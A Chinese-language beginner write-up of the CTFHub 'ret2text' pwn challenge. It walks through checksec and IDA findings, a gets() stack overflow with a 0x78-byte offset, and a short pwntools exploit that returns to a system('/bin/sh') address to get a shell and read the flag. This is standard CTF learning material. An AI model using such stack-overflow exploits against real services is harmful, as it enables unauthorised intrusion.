【PWN】刷题——CTFHub之 简单的 ret2text

萌新第一阶段自然是了解做题的套路、流程,简单题要多做滴


前言

经典的ret2text流程 


一、checksec查看

 64位程序,什么保护都没有,No canary found——可以栈溢出控制返回

二、IDA反汇编


发现危险函数gets()

 发现存在返回shell的函数secure(),虽然有一系列随机数啦,随机数比较之类的前置判断,不用管他,只要我们溢出返回地址直接指向目标指令的地址就可以成功获取shell

v大小为0x70+栈基指针0x8+返回地址 

 返回哪里呢?直接返回system("/bin/sh")指令的地址。

三、exp编写 

from pwn import *

r=remote('网址',port)

addr=0x4007B8                        #system("/bin/shell")指令地址
payload=b'a'*(0x70+0x8)+p64(addr)    #覆盖v存储、覆盖栈基指针、修改返回地址

r.sendline(payload)                  #发送payload

r.interactive()                      #shell 交互

 然后ls查看有哪些文件,cat flag即可获得flag


总结

蒟蒻在行动!

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>